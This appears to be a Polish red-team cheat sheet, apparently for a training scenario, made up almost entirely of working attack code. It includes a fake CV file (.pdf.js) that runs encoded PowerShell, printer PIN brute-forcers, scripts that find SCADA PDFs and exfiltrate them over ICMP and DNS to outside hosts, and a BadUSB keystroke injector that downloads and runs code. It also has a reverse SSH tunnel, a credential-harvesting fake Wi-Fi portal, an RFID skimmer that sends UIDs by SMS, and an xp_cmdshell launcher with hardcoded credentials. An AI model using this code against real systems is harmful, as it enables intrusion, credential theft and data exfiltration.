Paweł Maziarz
p@alphasec.pl
Nexa-CurriculumVitae.pdf.js
var shell = new ActiveXObject("WScript.Shell");
shell.exec("powershell -w h -enc aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AYQBwAHQAbQBjAC4AcABsAC8AYwBhAGwAYwB8AGkAZQB4AA0ACgA=");
Bruteforce pinów - PowerShell
0..999 | % { $pin=("{0:d6}" -f $_); $exists=((irm -me po http://printer-103.marpnet:8000/login -body "PIN=$pin") -notlike '*Niepra*'); [pscustomobject]@{pin=$pin;exists=$exists} }|where exists
Wyciągenie danych po logowaniu - PowerShell
0..999 | ForEach-Object {
$pin=("{0:d6}" -f $_)
$content = Invoke-RestMethod -Method POST http://printer-103.marpnet:8000/login -body "PIN=$pin"
if ($content -match "(?s)Użytkownik: <strong>(?<user>.*)</strong>.*Dział: <strong>(?<department>.*)</strong>") {
$user = $matches['user']
$department = $matches['department']
[pscustomobject]@{pin=$pin;user=$user;department=$department}
}
}
Bruteforce pinów - Python
import requests
for i in range(1000):
pin = f"{i:06}"
if "Niepra" not in requests.post("http://printer-103.marpnet:8000/login", data={"PIN": pin}).text:
print(f'Found PIN {pin}')
Wyciągenie danych po logowaniu - PowerShell
import requests
import re
pattern = re.compile(r"Użytkownik: <strong>(.*?)</strong>.*?Dział: <strong>(.*?)</strong>", re.DOTALL)
for i in range(1000):
pin = f"{i:06}"
response = requests.post("http://printer-103.marpnet:8000/login", data={"PIN": pin})
match = pattern.search(response.text)
if match:
user, department = match.groups()
print(f'{pin}, {user}, {department}')
Bruteforce pinów - Bash
for pin in $(seq -f "%06.0f" 0 999); do r=$(curl -s -d "PIN=$pin" http://printer-103.marpnet:8000/login); [[ $r != *Niepra* ]] && echo "Found pin $pin"; done
Wyciągenie danych po logowaniu - bash
for i in $(seq -f "%06.0f" 0 999); do
response=$(wget --quiet --method POST --body-data="PIN=$i" http://printer-103.marpnet:8000/login -O-)
user=$(echo "$response" | sed -n 's/.*Użytkownik: <strong>\(.*\)<\/strong>.*/\1/p')
department=$(echo "$response" | sed -n 's/.*Dział: <strong>\(.*\)<\/strong>.*/\1/p')
if [[ -n "$user" && -n "$department" ]]; then
echo "$i, $user, $department"
fi
done
Wyświetlenie zmapowanych dysków - PowerShell
Get-PSDrive -PSProvider FileSystem
Wyszukanie na dyskach plików spełniających kryteria - PowerShell
Get-PSDrive -PSProvider FileSystem | % { gci -ea 0 -r "$($_.name):" -filter '*scada*.pdf' } | Select-Object -ExpandProperty FullName
Eksfiltracja pliku ICMP - PowerShell
(gc -raw plik.pdf) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}
Eksfiltracja pliku DNS - PowerShell
(-join ((gc -raw plik.pdf).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).alphasec.pl"}
Eksfiltracja plików ICMP - PowerShell
Get-PSDrive -PSProvider FileSystem | % { gci -ea 0 -r "$($_.name):" -filter "*scada*.pdf" } | % { (gc -raw $_.FullName) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("aptm.in", 100, ([Text.Encoding]::UTF8).GetBytes($_))} }
Eksfiltracja plików DNS - PowerShell
Get-PSDrive -PSProvider FileSystem | % { gci -ea 0 -r "$($_.name):" -filter "*scada*.pdf" } | % { (-join ((gc -raw $_.FullName).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim(".")|%{ Resolve-DNSName "$_.$(($i++)).aptm.in.pl"} }
ICMP payloader - Python
#! /usr/bin/env python3
# sysctl net.ipv4.icmp_echo_ignore_all=1
from scapy.all import *
payloads = {
b"scadaicmp": b'Get-PSDrive -PSProvider FileSystem | % { gci -ea 0 -r "$($_.name):" -filter "*scada*.pdf" } | % { (gc -raw $_.FullName) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))} }',
b"scadadns": b'Get-PSDrive -PSProvider FileSystem | % { gci -ea 0 -r "$($_.name):" -filter "*scada*.pdf" } | % { (-join ((gc -raw $_.FullName).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).alphasec.pl"} }'
}
def handle_ping(pkt):
if (pkt.haslayer(ICMP) and pkt[2].type == 8):
try:
dst = pkt[1].dst
src = pkt[1].src
seq = pkt[2].seq
id = pkt[2].id
payload = pkt[3].load
response = payloads.get(payload, payload)
print ("payload from %s: %s, response: %s" % (src, payload, response))
reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/(response)
send(reply,verbose=False)
except:
pass
if __name__== "__main__":
iface = "eth0"
filter = "icmp and icmp[0]=8"
sniff(iface=iface, prn=handle_ping, filter=filter)
Spliterek stringów - bash
#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
echo "Użycie: $0 <string> <maksymalna dlugośc>"
exit 1
fi
input_string="$1"
chunk_size="$2"
echo "$input_string" | fold -w "$chunk_size" | nl -w1 -s"."
ICMP in, DNS out - PowerShell
-join [char[]]([Net.NetworkInformation.Ping]::new().Send("kali.aptmc.pl", 100, [Text.Encoding]::UTF8.GetBytes("scadadns")).Buffer)|iex
ICMP in, ICMP out
-join [char[]]([Net.NetworkInformation.Ping]::new().Send("kali.aptmc.pl", 100, [Text.Encoding]::UTF8.GetBytes("scadaicmp")).Buffer)|iex
DNS in, DNS out
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((((Resolve-DnsName -Type TXT scada.dns.aptmc.pl).Strings | Sort-Object { ($_ -split '\.')[0] -as [int]} ) -replace '^\d+\.','') -join ''))
DNS in, ICMP out
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((((Resolve-DnsName -Type TXT scada.icmp.aptmc.pl).Strings | Sort-Object { ($_ -split '\.')[0] -as [int]} ) -replace '^\d+\.','') -join ''))
Arduino keyboard po ludzku
#include "Keyboard.h"
void typeKeys(const char* keys, int delayTimeMin = 100, int delayTimeMax = 500){
while (*keys) {
Keyboard.write(*keys++);
delay(random(delayTimeMin, delayTimeMax));
}
}
void setup() {
Keyboard.begin();
delay(2000);
}
void loop() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(200);
typeKeys("powershell -w h -c \"iwr aptmc.pl/calc|iex\"");
Keyboard.write(KEY_RETURN);
while (true) {
delay(1000);
}
}
Analiza karty
#include <M5Stack.h>
#include "MFRC522_I2C.h"
MFRC522 mfrc522(0x28);
void setup()
{
M5.begin();
M5.Power.begin();
M5.lcd.setTextSize(2);
M5.Lcd.println("MFRC522 I2C Reader");
Wire.begin();
mfrc522.PCD_Init();
M5.Lcd.println("Please put the card\n\nUID:");
}
void loop()
{
M5.Lcd.setCursor(40, 47);
if (!mfrc522.PICC_IsNewCardPresent() || !mfrc522.PICC_ReadCardSerial()) {
delay(200);
return;
}
M5.Lcd.fillRect(42, 47, 320, 20, BLACK);
for (byte i = 0; i < mfrc522.uid.size; i++) {
M5.Lcd.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " ");
M5.Lcd.print(mfrc522.uid.uidByte[i], HEX);
}
M5.Lcd.println("");
}
Tunel SSH
#!/bin/bash
# echo '/usr/local/bin/ssh_tunnel.sh &' >> /etc/rc.local
REMOTE_USER="darkseeker"
REMOTE_HOST="tawerna.freeworld.org"
REMOTE_PORT=2222
LOCAL_PORT=22
PRIVATE_KEY="/home/darkseeker/.ssh/id_rsa"
LOG_FILE="/var/log/ssh_tunnel.log"
while true; do
date=$(date '+%Y-%m-%d %H:%M:%S')
echo "$date - Próba ustanowienia tunelu SSH..." >> "$LOG_FILE"
ssh -i "$PRIVATE_KEY" -N -R ${REMOTE_PORT}:localhost:${LOCAL_PORT} ${REMOTE_USER}@${REMOTE_HOST}
EXIT_CODE=$?
date=$(date '+%Y-%m-%d %H:%M:%S')
echo "$date - Połączenie zakończone lub nieudane (exit code: $EXIT_CODE)" >> "$LOG_FILE"
sleep 1
done
Mitmproxy - zrzut danych POST
# mitmdump -s mitm.py
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if flow.request.method == "POST":
body = flow.request.get_text()
print("POST request")
print(f"URL: {flow.request.pretty_url}")
print("Body:")
print(body)
print("=========================\n")
Fake Access Point - Arduino
#include <Arduino.h>
#include <WiFi.h>
#include <DNSServer.h>
#include <WebServer.h>
DNSServer dnsServer;
WebServer server(80);
static const char responsePortal[] = R"===(
<!DOCTYPE html> [...]
)===";
void handleRoot() {
Serial.println("Handle root");
server.send(200, "text/plain", "");
}
void handleNotFound() {
Serial.println("Handle not found");
server.sendHeader("Location", "/portal");
server.send(302, "text/plain", "redirect to captive portal");
}
void setup() {
Serial.begin(115200);
WiFi.mode(WIFI_AP);
WiFi.softAP("MARPNET");
if (dnsServer.start()) {
Serial.println("Started DNS server in captive portal-mode");
} else {
Serial.println("Err: Can't start DNS server!");
}
server.on("/", handleRoot);
server.on("/login", HTTP_POST, []() {
Serial.println("Handle login");
String username = server.arg("username");
String password = server.arg("password");
Serial.println("! Login attempt");
Serial.print("Username: ");
Serial.println(username);
Serial.print("Password: ");
Serial.println(password);
server.send(200, "text/html", "Incorrect password");
});
server.on("/portal", []() {
Serial.println("Handle portal");
server.send(200, "text/html", responsePortal);
});
server.onNotFound(handleNotFound);
server.begin();
}
void loop() {
server.handleClient();
delay(5);
}
Fake Access Point - Linux
#!/bin/bash
set -e
echo "[*] Instalacja wymaganych pakietów..."
sudo apt update
sudo apt install -y dnsmasq hostapd lighttpd iptables-persistent
echo "[*] Konfiguracja statycznego IP dla wlan0..."
sudo tee -a /etc/dhcpcd.conf > /dev/null <<EOF
interface wlan0
static ip_address=192.168.4.1/24
nohook wpa_supplicant
EOF
echo "[*] Restart dhcpcd..."
sudo service dhcpcd restart
echo "[*] Konfiguracja dnsmasq..."
sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig 2>/dev/null || true
sudo tee /etc/dnsmasq.conf > /dev/null <<EOF
interface=wlan0
dhcp-range=192.168.4.10,192.168.4.100,12h
address=/#/192.168.4.1
EOF
echo "[*] Konfiguracja hostapd..."
sudo tee /etc/hostapd/hostapd.conf > /dev/null <<EOF
interface=wlan0
driver=nl80211
ssid=MARPNET
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
EOF
sudo sed -i 's|^#DAEMON_CONF=.*|DAEMON_CONF="/etc/hostapd/hostapd.conf"|' /etc/default/hostapd
echo "[*] Włączenie lighttpd..."
sudo systemctl enable lighttpd
sudo systemctl restart lighttpd
echo "[*] Konfiguracja iptables do przekierowania HTTP..."
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to 192.168.4.1:80
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
echo "[*] Zapis reguł iptables..."
sudo netfilter-persistent save
echo "[*] Włączanie usług przy starcie..."
sudo systemctl unmask hostapd
sudo systemctl enable hostapd
sudo systemctl enable dnsmasq
echo "[*] Uruchamianie usług..."
sudo systemctl restart dnsmasq
sudo systemctl restart hostapd
echo "[✓] Captive Portal MARPNET gotowy. Urządzenia połączone z Wi-Fi 'MARPNET' będą przekierowane do index.html."
SMSowy skaner karrt RFID
#include <SPI.h>
#include <MFRC522.h>
#include <TinyGsmClient.h>
#include "utilities.h"
#define SS_PIN 12
#define RST_PIN 0
#define SMS_TARGET "+48501501501"
MFRC522 rfid(SS_PIN, RST_PIN);
byte nuidPICC[4];
TinyGsm modem(Serial1);
void setup() {
Serial.begin(9600);
SPI.begin();
rfid.PCD_Init();
Serial1.begin(115200, SERIAL_8N1, MODEM_RX, MODEM_TX);
delay(1000);
Serial.println(F("mifare to sms initialized"));
}
String hexToString(byte *buffer, byte bufferSize) {
String result = "";
for (byte i = 0; i < bufferSize; i++) {
if (buffer[i] < 0x10) result += " 0";
else result += " ";
result += String(buffer[i], HEX);
}
return result;
}
void loop() {
if (!rfid.PICC_IsNewCardPresent())
return;
if (!rfid.PICC_ReadCardSerial())
return;
Serial.print(F("PICC type: "));
MFRC522::PICC_Type piccType = rfid.PICC_GetType(rfid.uid.sak);
Serial.println(rfid.PICC_GetTypeName(piccType));
if (piccType != MFRC522::PICC_TYPE_MIFARE_MINI && piccType != MFRC522::PICC_TYPE_MIFARE_1K && piccType != MFRC522::PICC_TYPE_MIFARE_4K) {
Serial.println(F("Not MIFARE card."));
return;
}
String nuidString = hexToString(rfid.uid.uidByte, rfid.uid.size);
Serial.println(nuidString);
// send sms
setupModem();
Serial.println("init modem");
modem.init();
Serial.println("Sending sms");
bool res = modem.sendSMS(SMS_TARGET, nuidString);
Serial.println("SMS sent");
ESP.restart();
}
Logger ruchu/obecności - Arduino
#include <M5Stack.h>
#include <WiFi.h>
#include <HTTPClient.h>
#include "M5_STHS34PF80.h"
M5_STHS34PF80 TMOS;
uint8_t motionHysteresis = 0;
int16_t motionVal = 0, presenceVal = 0;
uint16_t motionThresholdVal = 0, precenceThresholdVal = 0;
sths34pf80_gain_mode_t gainMode;
const char* ssid = "iPhone";
const char* password = "12345678";
const char* presenceURLBase = "http://aptmc.pl/mao/api/presence";
const char* motionURLBase = "http://aptmc.pl/mao/api/motion";
void connectToWiFi() {
WiFi.begin(ssid, password);
Serial.print("Łączenie z WiFi");
while (WiFi.status() != WL_CONNECTED) {
delay(500);
Serial.print(".");
}
Serial.println("\nPołączono z WiFi!");
Serial.print("IP: ");
Serial.println(WiFi.localIP());
}
void sendValue(const char* baseURL, const char* paramName, int value) {
if (WiFi.status() == WL_CONNECTED) {
HTTPClient http;
String url = String(baseURL) + "?" + paramName + "=" + String(value);
http.begin(url);
int httpCode = http.GET();
if (httpCode > 0) {
Serial.printf("Wysłano do %s (%d)\n", url.c_str(), httpCode);
} else {
Serial.printf("Błąd HTTP: %s\n", http.errorToString(httpCode).c_str());
}
http.end();
} else {
Serial.println("Brak połączenia WiFi. Nie wysłano.");
}
}
void setup() {
M5.begin();
Serial.println("Unit-TMOS TEST");
connectToWiFi();
// Inicjalizacja TMOS
while (TMOS.begin(&Wire, STHS34PF80_I2C_ADDRESS, 21, 22) == false) {
Serial.println("I2C Error - check I2C Address");
delay(200);
}
TMOS.setTmosODR(STHS34PF80_TMOS_ODR_AT_2Hz);
TMOS.setPresenceThreshold(0xC8);
TMOS.setMotionThreshold(0xC8);
TMOS.setPresenceHysteresis(0x32);
TMOS.setMotionHysteresis(0x32);
TMOS.setGainMode(STHS34PF80_GAIN_WIDE_MODE);
TMOS.setTmosSensitivity(0xff);
TMOS.resetAlgo();
TMOS.getGainMode(&gainMode);
TMOS.getMotionThreshold(&motionThresholdVal);
TMOS.getPresenceThreshold(&precenceThresholdVal);
TMOS.getMotionHysteresis(&motionHysteresis);
Serial.printf("precenceThresholdVal:%x, motionThresholdVal:%x, motionHysteresis:%x GainMode:%x\n",
precenceThresholdVal, motionThresholdVal, motionHysteresis, gainMode);
delay(1000);
}
void loop() {
sths34pf80_tmos_drdy_status_t dataReady;
TMOS.getDataReady(&dataReady);
if (dataReady.drdy == 1) {
sths34pf80_tmos_func_status_t status;
TMOS.getStatus(&status);
if (status.pres_flag == 1) {
TMOS.getPresenceValue(&presenceVal);
Serial.printf("Presence Detected! PresenceValue: %d\n", presenceVal);
sendValue(presenceURLBase, "val", presenceVal);
}
if (status.mot_flag == 1) {
TMOS.getMotionValue(&motionVal);
Serial.printf("Motion Detected! MotionValue: %d\n", motionVal);
sendValue(motionURLBase, "val", motionVal);
}
}
}
Symulacja karty sieciowej - Linux
#!/bin/bash
GADGET_DIR="/sys/kernel/config/usb_gadget"
GADGET_NAME="usb_net"
USB_ETH_NAME="usb0"
HOST_IP="10.0.0.1"
CLIENT_IP="10.0.0.2"
mkdir -p ${GADGET_DIR}/${GADGET_NAME}
cd ${GADGET_DIR}/${GADGET_NAME}
echo 0x1d6b > idVendor # Linux Foundation
echo 0x0104 > idProduct # Multifunction Composite Gadget
echo 0x0100 > bcdDevice
echo 0x0200 > bcdUSB
mkdir -p strings/0x409
echo "0123456789" > strings/0x409/serialnumber
echo "MAO Network" > strings/0x409/manufacturer
echo "Gridnet Link" > strings/0x409/product
mkdir -p configs/c.1
echo 250 > configs/c.1/MaxPower
mkdir -p functions/ecm.usb0
# lub alternatywnie dla Windows: mkdir -p functions/rndis.usb0
ln -s functions/ecm.usb0 configs/c.1/
ls /sys/class/udc > UDC
echo "[*] Konfiguracja IP interfejsu ${USB_ETH_NAME}..."
ip link set ${USB_ETH_NAME} up
ip addr add ${HOST_IP}/24 dev ${USB_ETH_NAME}
echo "[*] Konfiguracja serwera DHCP dla ${USB_ETH_NAME}..."
cat > /etc/dnsmasq.d/usb-gadget.conf <<EOF
interface=${USB_ETH_NAME}
dhcp-range=${CLIENT_IP},${CLIENT_IP},255.255.255.0,12h
EOF
systemctl restart dnsmasq
echo "[*] Oczekiwanie na połączenie z hostem..."
while true; do
if ip neigh | grep "${CLIENT_IP}" | grep -q "lladdr"; then
echo "[+] Wykryto połączenie z hostem (${CLIENT_IP})"
echo "[*] Uruchamianie: python3 ${PY_SCRIPT} ${CLIENT_IP}"
python3 ${PY_SCRIPT} ${CLIENT_IP}
break
fi
sleep 1
done
MSSQL xp_cmdshell executor - python
import pyodbc
server = 'nexus.gridnet'
database = 'master'
username = 'sa'
password = 'MAO!!N3xus'
command = "exec xp_cmdshell 'powershell -enc aQB3AHIAIABhAHAAdABtAGMALgBwAGwALwBjAGEAbABjAHwAaQBlAHgA'"
try:
conn_str = (
f"DRIVER={{ODBC Driver 18 for SQL Server}};"
f"SERVER={server};"
f"DATABASE={database};"
f"UID={username};"
f"PWD={password};"
f"TrustServerCertificate=yes;"
)
with pyodbc.connect(conn_str) as conn:
with conn.cursor() as cursor:
print("[*] Deploying APOCALYPSE...")
cursor.execute(command)
rows = cursor.fetchall()
for row in rows:
print(row[0])
except Exception as e:
print(f"[!] Error {e}")